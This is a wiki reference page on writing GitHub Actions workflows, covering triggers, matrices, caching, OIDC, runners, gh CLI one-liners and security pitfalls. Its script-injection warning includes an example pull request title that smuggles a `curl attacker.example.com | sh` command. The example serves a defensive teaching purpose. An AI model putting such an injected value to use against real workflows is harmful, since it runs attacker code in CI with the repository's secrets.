Software Engineering WikiSE Wiki

GitHub Actions

Write GitHub Actions workflows that are fast, least-privilege and hard to exploit: triggers, matrices, caching, reusable workflows, OIDC and debugging failed runs with gh.

Reviewed MarkdownEdit

On this page

Cheatsheet#

TaskCommand
Recent runsgh run list --limit 20
Runs of one workflowgh run list --workflow ci.yml --branch main
Watch the run for the current commitgh run watch --exit-status
Why did it failgh run view <run-id> --log-failed
Full log of one jobgh run view --job <job-id> --log
Re-run only failed jobsgh run rerun <run-id> --failed
Re-run with debug logginggh run rerun <run-id> --debug
Cancelgh run cancel <run-id>
Download artifactsgh run download <run-id> -n dist
Trigger a workflow_dispatch workflowgh workflow run deploy.yml -f env=staging --ref main
List workflows and their stategh workflow list --all
Disable a workflowgh workflow disable ci.yml
Set a repository secretgh secret set API_TOKEN < token.txt
Set an environment secretgh secret set API_TOKEN --env production
Set a plain variablegh variable set REGION --body ap-southeast-2
Lint workflows locallyactionlint .github/workflows/*.yml
Validate an expressionecho '${{ github.ref }}' in a run: step, read the log
Print the event payloadcat "$GITHUB_EVENT_PATH" | jq .
Step outputecho "sha=$(git rev-parse --short HEAD)" >> "$GITHUB_OUTPUT"
Environment variable for later stepsecho "GOFLAGS=-mod=mod" >> "$GITHUB_ENV"
Add to PATH for later stepsecho "$HOME/.local/bin" >> "$GITHUB_PATH"
Job summaryecho '## Result' >> "$GITHUB_STEP_SUMMARY"
Mask a value in logsecho "::add-mask::$value"

Syntax below is GitHub.com as of September 2026 and gh 2.x. Action majors are the current ones at review time; check each action’s releases before copying. Reference: the workflow syntax and contexts pages.

How a run happens#

A workflow is a YAML file under .github/workflows/. An event on the repository (push, pull request, schedule, manual dispatch, another workflow completing) matches the on: block of every workflow file on the ref that event points at, and each match creates a run. A run is a set of jobs; jobs run in parallel unless needs: orders them; each job is a fresh virtual machine or container running steps in order. A step is either run: (a shell script) or uses: (an action). Steps in one job share a filesystem and the environment written to $GITHUB_ENV; jobs share nothing except outputs, artifacts and caches.

The important consequences: the workflow file that runs is the one on the triggering ref (for pull_request, the merge commit of the PR; for pull_request_target, the base branch), and every job starts from a clean machine, so anything one job needs from another must be passed explicitly.

name: ci
on:
  push:
    branches: [main]
    tags: ["v*"]
  pull_request:
permissions:
  contents: read          # workflow-wide default for GITHUB_TOKEN
concurrency:
  group: ${{ github.workflow }}-${{ github.ref }}
  cancel-in-progress: ${{ github.event_name == 'pull_request' }}
jobs:
  test:
    runs-on: ubuntu-latest
    timeout-minutes: 15     # default is 360; always set one
    steps:
      - uses: actions/checkout@v7
      - uses: actions/setup-go@v7
        with:
          go-version-file: go.mod
      - run: go test ./...

Triggers and filters#

on:
  push:
    branches: [main, "release/**"]
    paths: ["**.go", "go.mod", "go.sum", ".github/workflows/ci.yml"]
    tags-ignore: ["nightly-*"]
  pull_request:
    types: [opened, synchronize, reopened, ready_for_review]   # default: opened, synchronize, reopened
    paths-ignore: ["docs/**", "**.md"]
  schedule:
    - cron: "17 3 * * 1-5"     # UTC; avoid :00 to dodge the queue at the top of the hour
  workflow_dispatch:
    inputs:
      env:
        type: choice
        options: [staging, production]
        required: true
      dry_run:
        type: boolean
        default: true
  workflow_call:               # makes this a reusable workflow
    inputs:
      go-version: { type: string, default: "stable" }
    secrets:
      registry-token: { required: true }
  workflow_run:                # runs after another workflow finishes, on the default branch only
    workflows: [ci]
    types: [completed]
  release:
    types: [published]

branches and paths filters must both match. A workflow with a paths filter that does not match is skipped entirely, which breaks required status checks that expect it; use a separate lightweight job with if: instead when a check must always report. schedule runs only on the default branch and is disabled after 60 days without repository activity on public repositories.

Pushing a tag does not trigger push: branches:; list tags: as well. A push made with GITHUB_TOKEN never triggers another workflow, by design, to prevent loops; use a GitHub App token or a deploy key when a bot commit must trigger CI.

Jobs, steps and matrices#

jobs:
  build:
    runs-on: ubuntu-latest
    strategy:
      fail-fast: false                 # keep the other cells running when one fails
      max-parallel: 4
      matrix:
        os: [ubuntu-latest, macos-latest]
        go: ["1.26", "1.27"]
        include:
          - os: ubuntu-latest
            go: "1.27"
            coverage: true             # extra key on one cell only
        exclude:
          - os: macos-latest
            go: "1.26"
    steps:
      - uses: actions/checkout@v7
      - uses: actions/setup-go@v7
        with: { go-version: "${{ matrix.go }}" }
      - run: go test -race ./...
      - if: matrix.coverage
        run: go test -coverprofile=cover.out ./...

  deploy:
    needs: [build]                     # waits for every matrix cell
    if: github.ref == 'refs/heads/main' && github.event_name == 'push'
    runs-on: ubuntu-latest
    environment: production
    steps:
      - run: ./deploy.sh

needs makes outputs available as needs.build.outputs.<name> and skips the dependant when a dependency fails or is skipped. A job with if: always() still runs after failures; if: ${{ !cancelled() }} is the usual choice for reporting steps because always() also runs on cancellation.

Step outputs come from $GITHUB_OUTPUT; job outputs must be declared:

jobs:
  meta:
    runs-on: ubuntu-latest
    outputs:
      version: ${{ steps.v.outputs.version }}
    steps:
      - id: v
        run: echo "version=$(git describe --tags --always)" >> "$GITHUB_OUTPUT"
  release:
    needs: meta
    runs-on: ubuntu-latest
    steps:
      - run: echo "releasing ${{ needs.meta.outputs.version }}"

run: on Linux and macOS uses bash --noprofile --norc -eo pipefail {0} when Bash is available, so a failing command or pipeline fails the step without an explicit set -e. Set shell: bash explicitly when the runner might be Windows or when relying on that behaviour in a container job. Multi-line scripts use run: |.

Expressions and contexts#

${{ }} is evaluated before the step runs; the result is substituted as text. Functions: contains(), startsWith(), endsWith(), format(), join(), toJSON(), fromJSON(), hashFiles(), and the status functions success(), failure(), cancelled(), always().

ContextHoldsExample
githubEvent, ref, SHA, actor, repositorygithub.event.pull_request.number, github.ref_name
envVariables from env: blocks and $GITHUB_ENVenv.GOFLAGS
varsRepository, environment and organisation variablesvars.REGION
secretsSecrets, plus secrets.GITHUB_TOKENsecrets.API_TOKEN
stepsOutputs and outcomes of earlier steps in the jobsteps.v.outputs.version, steps.test.outcome
needsOutputs and results of dependency jobsneeds.build.result
matrixThe current cellmatrix.os
runneros, arch, temp, tool_cacherunner.temp
inputsworkflow_dispatch and workflow_call inputsinputs.env
jobstatus, service container detailsjob.services.postgres.ports[5432]

if: conditions are expressions already, so if: github.event_name == 'push' needs no braces. hashFiles('**/go.sum') is the standard cache key input. fromJSON() turns a string into a matrix:

jobs:
  plan:
    runs-on: ubuntu-latest
    outputs:
      targets: ${{ steps.t.outputs.targets }}
    steps:
      - id: t
        run: echo 'targets=["api","worker","cron"]' >> "$GITHUB_OUTPUT"
  build:
    needs: plan
    strategy:
      matrix:
        target: ${{ fromJSON(needs.plan.outputs.targets) }}
    runs-on: ubuntu-latest
    steps:
      - run: make build TARGET=${{ matrix.target }}

Secrets, permissions and GITHUB_TOKEN#

GITHUB_TOKEN is minted per job and expires when the job ends. Its default scope is set per repository or organisation; new repositories default to read-only. Declare permissions: at the top of every workflow and widen per job. Any permission not listed in a permissions: block is set to none.

permissions: {}                 # nothing at all by default
jobs:
  release:
    permissions:
      contents: write           # create the release
      packages: write           # push to ghcr.io
      id-token: write           # request an OIDC token
      attestations: write       # build provenance

Secrets are masked in logs by exact string match. A secret transformed (base64, split, JSON-encoded) is not masked; use ::add-mask:: on the derived value. Secrets are not passed to workflows triggered from forks on pull_request, and secrets: inherit is required for a reusable workflow to see the caller’s secrets. Environment secrets are only readable by jobs that declare environment:.

Secrets never reach if: conditions reliably, because an unset secret is an empty string. Check ${{ secrets.API_TOKEN != '' }} inside a run: step’s environment instead.

gh secret set API_TOKEN --body "$API_TOKEN"            # repository secret
gh secret set API_TOKEN --env production --body "$API_TOKEN"
gh secret set DEPLOY_KEY --org my-org --repos my-app,my-lib < key.pem
gh secret list; gh variable list

Caching and artifacts#

Caches are keyed blobs shared across runs, scoped to the branch and its base branch, with a 10 GB per-repository limit and eviction after 7 days unused. Artifacts belong to one run and hold outputs to download or pass between jobs.

      - uses: actions/setup-go@v7
        with:
          go-version-file: go.mod
          cache: true                             # caches the module and build cache keyed on go.sum
      - uses: actions/cache@v6
        with:
          path: |
            ~/.cache/golangci-lint
          key: lint-${{ runner.os }}-${{ hashFiles('.golangci.yml') }}
          restore-keys: lint-${{ runner.os }}-    # prefix match when the exact key misses
      - uses: actions/cache/restore@v6            # read-only half, for jobs that must not write
        with: { path: node_modules, key: npm-${{ hashFiles('package-lock.json') }} }

A cache entry is immutable: once a key exists it is never updated, so include the hash of whatever defines the contents in the key. restore-keys returns the newest entry with that prefix and the step then saves under the exact key. Caches written on a PR branch are visible only to that branch, which is why the first run after merge is cold; a scheduled job on main that warms the cache fixes it.

      - uses: actions/upload-artifact@v7
        with:
          name: dist-${{ matrix.os }}             # names must be unique per run in v4+
          path: dist/
          retention-days: 5
          if-no-files-found: error
      - uses: actions/download-artifact@v8
        with:
          pattern: dist-*
          merge-multiple: true
          path: dist/

Artifacts are zipped; permissions and symlinks are lost. Upload a tarball when file modes matter. gh run download <run-id> fetches them locally.

Reusable workflows and composite actions#

A reusable workflow is a whole workflow with on: workflow_call, called as a job. A composite action is a bundle of steps, called as a step. Use a reusable workflow to standardise jobs (runner, permissions, environment); use a composite action to deduplicate steps inside a job.

# .github/workflows/go-test.yml, the reusable workflow
on:
  workflow_call:
    inputs:
      go-version: { type: string, default: stable }
    outputs:
      coverage: { value: "${{ jobs.test.outputs.coverage }}" }
permissions: { contents: read }
jobs:
  test:
    runs-on: ubuntu-latest
    outputs: { coverage: "${{ steps.cov.outputs.pct }}" }
    steps:
      - uses: actions/checkout@v7
      - uses: actions/setup-go@v7
        with: { go-version: "${{ inputs.go-version }}" }
      - run: go test -coverprofile=c.out ./...
      - id: cov
        run: echo "pct=$(go tool cover -func=c.out | awk '/^total/ {print $3}')" >> "$GITHUB_OUTPUT"
# caller
jobs:
  test:
    uses: my-org/workflows/.github/workflows/go-test.yml@main   # or @<sha>
    with: { go-version: "1.27" }
    secrets: inherit

A caller can nest reusable workflows four levels deep and cannot pass env: into them. The called workflow sees the caller’s github context, so github.repository is the caller, not the workflow’s home.

# .github/actions/setup/action.yml, a composite action
name: setup
inputs:
  go-version: { default: stable }
runs:
  using: composite
  steps:
    - uses: actions/setup-go@v7
      with: { go-version: "${{ inputs.go-version }}" }
    - run: go install github.com/golangci/golangci-lint/v2/cmd/golangci-lint@latest
      shell: bash                                  # required on every run: step in a composite

Called with uses: ./.github/actions/setup after checkout. Composite steps cannot use if: on secrets and cannot declare permissions.

OIDC to AWS#

The runner can request a short-lived JWT signed by GitHub for any job with id-token: write. AWS trusts that token through an IAM OIDC provider and a role whose trust policy restricts sub to a repository, branch or environment. No long-lived keys exist anywhere.

permissions:
  id-token: write
  contents: read
jobs:
  deploy:
    runs-on: ubuntu-latest
    environment: production
    steps:
      - uses: aws-actions/configure-aws-credentials@v6
        with:
          role-to-assume: arn:aws:iam::123456789012:role/github-my-app-deploy
          role-session-name: gh-${{ github.run_id }}
          aws-region: ap-southeast-2
      - run: aws sts get-caller-identity

The trust policy on the role, in HCL for Terraform:

data "aws_iam_policy_document" "github_trust" {
  statement {
    actions = ["sts:AssumeRoleWithWebIdentity"]
    principals {
      type        = "Federated"
      identifiers = [aws_iam_openid_connect_provider.github.arn]
    }
    condition {
      test     = "StringEquals"
      variable = "token.actions.githubusercontent.com:aud"
      values   = ["sts.amazonaws.com"]
    }
    condition {
      test     = "StringEquals"
      variable = "token.actions.githubusercontent.com:sub"
      values   = ["repo:my-org/my-app:environment:production"]   # not repo:my-org/*:*
    }
  }
}

The sub claim is repo:<owner>/<repo>:ref:refs/heads/<branch> for branch pushes, repo:<owner>/<repo>:environment:<name> when the job declares an environment, and repo:<owner>/<repo>:pull_request for PRs. A wildcard on the repository lets any repository in the organisation assume the role. See AWS for the CLI side.

Concurrency and environments#

concurrency:
  group: deploy-${{ inputs.env }}
  cancel-in-progress: false      # queue deploys; never cancel one half way

One group runs one job at a time and, by default, keeps only one pending run: a third run replaces the queued second one. queue: max keeps up to 100 pending runs in order and cannot be combined with cancel-in-progress: true. PR workflows normally use cancel-in-progress: true keyed on github.ref so a new push cancels the stale run.

Environments add required reviewers, wait timers, branch and tag restrictions, and their own secrets and variables. A job with environment: production pauses for approval before any step runs and its OIDC sub claim carries the environment name, which is what the AWS trust policy above checks.

    environment:
      name: production
      url: https://my-app.example.com     # shown on the deployment

gh CLI for runs and logs#

gh run list --workflow ci.yml --status failure --limit 10
gh run list --json databaseId,conclusion,headBranch,event --jq '.[] | select(.conclusion=="failure") | .databaseId'
gh run view 123456789                        # jobs and their status
gh run view 123456789 --log-failed           # only the steps that failed
gh run view 123456789 --job 987654321 --log  # one job, every line
gh run view 123456789 --log | grep -n '##\[error\]'
gh run watch 123456789 --exit-status         # block, exit non-zero on failure
gh run rerun 123456789 --failed
gh run download 123456789 --dir ./artifacts
gh workflow run deploy.yml --ref main -f env=production -f dry_run=false
gh api repos/{owner}/{repo}/actions/runs/123456789/timing

Runner and step debug logs need the ACTIONS_STEP_DEBUG and ACTIONS_RUNNER_DEBUG secrets or variables set to true, or gh run rerun --debug, which sets them for one run.

Self-hosted runners#

A self-hosted runner is a process that polls GitHub for jobs matching its labels. It keeps state between jobs unless it is ephemeral, so anything a job leaves on disk, including credentials in ~/.docker/config.json or a cloned repository, is visible to the next job. Never attach a persistent self-hosted runner to a public repository; a PR from a fork can run code on it.

    runs-on: [self-hosted, linux, x64, gpu]     # every label must match
    runs-on:
      group: build-large                        # runner group, org-level access control
      labels: [linux]
./config.sh --url https://github.com/my-org --token "$RUNNER_TOKEN" --ephemeral --labels linux,x64 --unattended
./svc.sh install && ./svc.sh start           # systemd unit for the runner
gh api orgs/my-org/actions/runners --jq '.runners[] | "\(.name)\t\(.status)\t\(.busy)"'

--ephemeral deregisters the runner after one job; pair it with an autoscaler (actions-runner-controller on Kubernetes, or a VM pool) so each job lands on a fresh machine. Runner tokens from config.sh expire in an hour and only register; the runner then authenticates with a generated key.

Example workflows#

Go test and release#

name: go
on:
  push:
    branches: [main]
    tags: ["v*"]
  pull_request:
permissions: { contents: read }
concurrency:
  group: ${{ github.workflow }}-${{ github.ref }}
  cancel-in-progress: ${{ github.event_name == 'pull_request' }}
jobs:
  test:
    runs-on: ubuntu-latest
    timeout-minutes: 15
    steps:
      - uses: actions/checkout@v7
      - uses: actions/setup-go@v7
        with: { go-version-file: go.mod, cache: true }
      - run: go vet ./...
      - run: go test -race -coverprofile=cover.out ./...
      - uses: golangci/golangci-lint-action@v9
        with: { version: latest }
  release:
    needs: test
    if: startsWith(github.ref, 'refs/tags/v')
    runs-on: ubuntu-latest
    timeout-minutes: 30
    permissions:
      contents: write        # upload release assets
      id-token: write        # cosign keyless signing
    steps:
      - uses: actions/checkout@v7
        with: { fetch-depth: 0 }             # goreleaser needs the tag history for the changelog
      - uses: actions/setup-go@v7
        with: { go-version-file: go.mod, cache: true }
      - uses: goreleaser/goreleaser-action@v7
        with:
          distribution: goreleaser
          version: "~> v2"
          args: release --clean
        env:
          GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}

Container build and push#

name: image
on:
  push:
    branches: [main]
    tags: ["v*"]
  pull_request:
permissions: { contents: read }
env:
  IMAGE: ghcr.io/${{ github.repository }}
jobs:
  image:
    runs-on: ubuntu-latest
    timeout-minutes: 30
    permissions:
      contents: read
      packages: write
      id-token: write
      attestations: write
    steps:
      - uses: actions/checkout@v7
      - uses: docker/setup-buildx-action@v4
      - uses: docker/login-action@v4
        if: github.event_name != 'pull_request'
        with:
          registry: ghcr.io
          username: ${{ github.actor }}
          password: ${{ secrets.GITHUB_TOKEN }}
      - id: meta
        uses: docker/metadata-action@v6
        with:
          images: ${{ env.IMAGE }}
          tags: |
            type=ref,event=branch
            type=ref,event=pr
            type=semver,pattern={{version}}
            type=sha
      - id: build
        uses: docker/build-push-action@v7
        with:
          context: .
          platforms: linux/amd64,linux/arm64
          push: ${{ github.event_name != 'pull_request' }}   # PRs build only
          tags: ${{ steps.meta.outputs.tags }}
          labels: ${{ steps.meta.outputs.labels }}
          cache-from: type=gha
          cache-to: type=gha,mode=max
          provenance: mode=max
      - uses: actions/attest-build-provenance@v4
        if: github.event_name != 'pull_request'
        with:
          subject-name: ${{ env.IMAGE }}
          subject-digest: ${{ steps.build.outputs.digest }}
          push-to-registry: true

type=gha stores BuildKit layers in the Actions cache, keyed by the Dockerfile stage. Deploy by digest (${{ steps.build.outputs.digest }}), not by the sha- tag, so the manifest that was tested is the one that runs. See Docker for the Containerfile side.

Hugo deploy to GitHub Pages#

name: pages
on:
  push: { branches: [main] }
  workflow_dispatch:
permissions: { contents: read }
concurrency: { group: pages, cancel-in-progress: false }
jobs:
  build:
    runs-on: ubuntu-latest
    timeout-minutes: 10
    steps:
      - uses: actions/checkout@v7
        with: { submodules: recursive, fetch-depth: 0 }   # themes as submodules; history for lastmod
      - uses: peaceiris/actions-hugo@v3
        with: { hugo-version: latest, extended: true }
      - id: pages
        uses: actions/configure-pages@v6
      - run: hugo --gc --minify --baseURL "${{ steps.pages.outputs.base_url }}/"
        env: { HUGO_ENVIRONMENT: production }
      - uses: actions/upload-pages-artifact@v5
        with: { path: ./public }
  deploy:
    needs: build
    runs-on: ubuntu-latest
    permissions:
      pages: write
      id-token: write
    environment:
      name: github-pages
      url: ${{ steps.deployment.outputs.page_url }}
    steps:
      - id: deployment
        uses: actions/deploy-pages@v5

Pages must be set to “GitHub Actions” as the source in repository settings, or deploy-pages fails with a 404 on the deployment API.

Security pitfalls#

pull_request_target

pull_request_target runs in the context of the base branch with write permissions and secrets, and then people check out github.event.pull_request.head.sha to “test the PR”. That runs the fork’s code with the repository’s secrets. Use pull_request for anything that executes contributor code. If pull_request_target is unavoidable (labelling, commenting), never check out or build the head ref in it, and set permissions: to the minimum.

Script injection: an expression inside run: is substituted as text before the shell parses it. Any field an outsider controls (PR title, branch name, commit message, issue body, review comment) is a command injection vector.

      - run: echo "Title: ${{ github.event.pull_request.title }}"   # title `"; curl attacker.example.com | sh; echo "` runs
      - run: echo "Title: $TITLE"                                    # safe: the value never touches the shell parser
        env:
          TITLE: ${{ github.event.pull_request.title }}

Pin third-party actions to a full commit SHA with the tag in a comment; tags can be moved. Dependabot or Renovate keep the SHA and comment in step.

      - uses: actions/checkout@<full-40-character-sha> # v7.0.1

Resolve the SHA for a tag with gh api repos/actions/checkout/commits/v7.0.1 --jq .sha.

Other rules that matter in practice: restrict which actions may run at the organisation level (verified creators plus an allow-list), require approval for first-time contributors, never echo a secret through a transform, do not use GITHUB_TOKEN with write-all, and do not run curl | sh from a URL you do not control. Artifacts are downloadable by anyone with read access to the repository, so an artifact containing a .env or a kubeconfig is a leak. Cache entries can be poisoned from a PR branch only for that branch, but a compromised default-branch cache is trusted by every branch; restore caches by exact key in release jobs.

Oneliners#

# IDs of the failed runs on main in the last day
gh run list --branch main --status failure --created "$(date -u -d '1 day ago' +%F)" --json databaseId --jq '.[].databaseId'

# Re-run every failed run of a workflow
gh run list --workflow ci.yml --status failure --json databaseId --jq '.[].databaseId' | xargs -n1 gh run rerun --failed

# Delete runs older than 30 days (destructive; removes logs and artifacts)
gh run list --limit 500 --json databaseId,createdAt --jq '.[] | select(.createdAt < (now - 30*86400 | todate)) | .databaseId' | xargs -n1 gh run delete

# Slowest jobs in the last 50 runs
gh run list --limit 50 --json databaseId --jq '.[].databaseId' | xargs -I{} gh api repos/{owner}/{repo}/actions/runs/{}/jobs --jq '.jobs[] | "\(.name)\t\((.completed_at|fromdate) - (.started_at|fromdate))s"' | sort -t$'\t' -k2 -nr | head

# Every action referenced in the repository, with versions
grep -rhoE 'uses: *[^ ]+' .github | sort | uniq -c | sort -rn

# Actions not pinned to a SHA
grep -rnE 'uses: *[^ ]+@(v[0-9]|main|master)' .github/workflows

# Cache usage and the biggest entries
gh cache list --limit 50 --sort size --order desc

# Delete every cache (safe; next run rebuilds)
gh cache delete --all

# Trigger a dispatch workflow and follow it
gh workflow run deploy.yml -f env=staging && sleep 5 && gh run watch "$(gh run list --workflow deploy.yml --limit 1 --json databaseId --jq '.[0].databaseId')" --exit-status

# Workflow file on the default branch, as GitHub sees it
gh api repos/{owner}/{repo}/contents/.github/workflows/ci.yml --jq .content | base64 -d

# Lint every workflow, including shellcheck of run: blocks
actionlint

# Check which OIDC claims a job would present (from a job with id-token: write)
curl -sH "Authorization: bearer $ACTIONS_ID_TOKEN_REQUEST_TOKEN" "$ACTIONS_ID_TOKEN_REQUEST_URL&audience=sts.amazonaws.com" | jq -r .value | cut -d. -f2 | base64 -d 2>/dev/null | jq .

# Runner load across the organisation
gh api orgs/my-org/actions/runners --paginate --jq '.runners[] | select(.status=="online") | "\(.name)\t\(.busy)"'

# Artifacts of a run with sizes
gh api repos/{owner}/{repo}/actions/runs/123456789/artifacts --jq '.artifacts[] | "\(.name)\t\(.size_in_bytes)"'

# Print the event payload from inside a job
jq . "$GITHUB_EVENT_PATH"

# Job summary table from inside a job
{ echo '| Test | Result |'; echo '| --- | --- |'; echo "| unit | $RESULT |"; } >> "$GITHUB_STEP_SUMMARY"

Scripts#

Report workflows whose last run on the default branch failed, for a morning check across an organisation.

#!/usr/bin/env bash
set -euo pipefail
org=${1:?org required}
gh repo list "$org" --limit 200 --no-archived --json nameWithOwner,defaultBranchRef --jq '.[] | "\(.nameWithOwner)\t\(.defaultBranchRef.name)"' |
while IFS=$'\t' read -r repo branch; do
  gh run list -R "$repo" --branch "$branch" --limit 20 --json workflowName,conclusion,url,createdAt |
    jq -r --arg repo "$repo" '
      group_by(.workflowName) | map(sort_by(.createdAt) | last)
      | .[] | select(.conclusion == "failure")
      | "\($repo)\t\(.workflowName)\t\(.url)"'
done

Rotate a secret across every repository that has it, reading the new value from stdin once.

#!/usr/bin/env bash
set -euo pipefail
org=${1:?org required}; name=${2:?secret name required}
value=$(cat)                                  # read once; never on the command line
[[ -n $value ]] || { echo "empty value" >&2; exit 1; }
gh repo list "$org" --limit 500 --no-archived --json nameWithOwner --jq '.[].nameWithOwner' |
while read -r repo; do
  if gh secret list -R "$repo" --json name --jq '.[].name' | grep -qx "$name"; then
    printf '%s' "$value" | gh secret set "$name" -R "$repo"
    printf 'rotated %s in %s\n' "$name" "$repo"
  fi
done

Find unpinned or outdated actions in a repository and print the SHA for the tag currently in use.

#!/usr/bin/env bash
set -euo pipefail
grep -rhoE 'uses: *[A-Za-z0-9_.-]+/[A-Za-z0-9_.-]+(/[^@ ]+)?@[^ #]+' .github | sed 's/uses: *//' | sort -u |
while IFS=@ read -r action ref; do
  repo=${action%%/*}/${action#*/}; repo=${repo%%/*/*}      # owner/name, drop any sub-path
  if [[ $ref =~ ^[0-9a-f]{40}$ ]]; then continue; fi
  sha=$(gh api "repos/$repo/commits/$ref" --jq .sha 2>/dev/null || echo unresolved)
  printf '%s@%s\t%s\n' "$action" "$ref" "$sha"
done

Troubleshooting#

SymptomCauseFix
Workflow does not triggerFilter mismatch, workflow file not on the triggering ref, or push made with GITHUB_TOKENgh api repos/{owner}/{repo}/actions/workflows to see state; check branches/paths; use an App token for bot pushes
Resource not accessible by integrationGITHUB_TOKEN lacks the permission, or the event is a fork PRAdd the permission under permissions:; for forks, move the write to a workflow_run job
Secret is empty in a stepFork PR, environment secret without environment:, or reusable workflow without secrets: inheritgh secret list --env; check github.event.pull_request.head.repo.fork
The process '/usr/bin/git' failed with exit code 128Checkout of a private submodule or another repository without a tokenwith: { token: ${{ secrets.PAT }} } or a deploy key
Cache never hitsKey includes something that changes every run, or the cache was written on another branchgh cache list; key on hashFiles('**/go.sum'); warm on the default branch
No space left on device14 GB runner disk filled by Docker layers or the Go build cachedocker system prune -af, or rm -rf /usr/share/dotnet /opt/ghc at the start of the job
Step passes but should have failedShell without pipefail, or continue-on-errorshell: bash (default -eo pipefail), remove continue-on-error, check steps.<id>.outcome
Matrix job runs with the wrong valueNumbers such as 1.10 parsed as YAML floatsQuote versions: ["1.10", "1.27"]
Unable to resolve action, repository not foundPrivate action, typo, or the organisation’s action allow-listCheck settings under Actions permissions; grant access in the action repository’s settings
Deploy job skipped with no errorA needs dependency was skipped, or if: referenced a context that was emptygh run view --json jobs; use if: ${{ !cancelled() && needs.build.result == 'success' }}
OIDC Not authorized to perform sts:AssumeRoleWithWebIdentityTrust policy sub does not match the branch or environment, or id-token: write missingDecode the token (oneliner above) and compare sub to the policy
Job queued for a long timeNo online runner with every requested label, or concurrency group fullgh api orgs/my-org/actions/runners; check concurrency
Logs missing the reason for a failureError printed by a nested tool without ::error::gh run rerun --debug, then gh run view --log | grep -n '##\[debug\]'
Error: Process completed with exit code 137Runner out of memory (7 GB on the standard Linux runner)Reduce parallelism (go test -p 2), or use a larger runner

Further reading#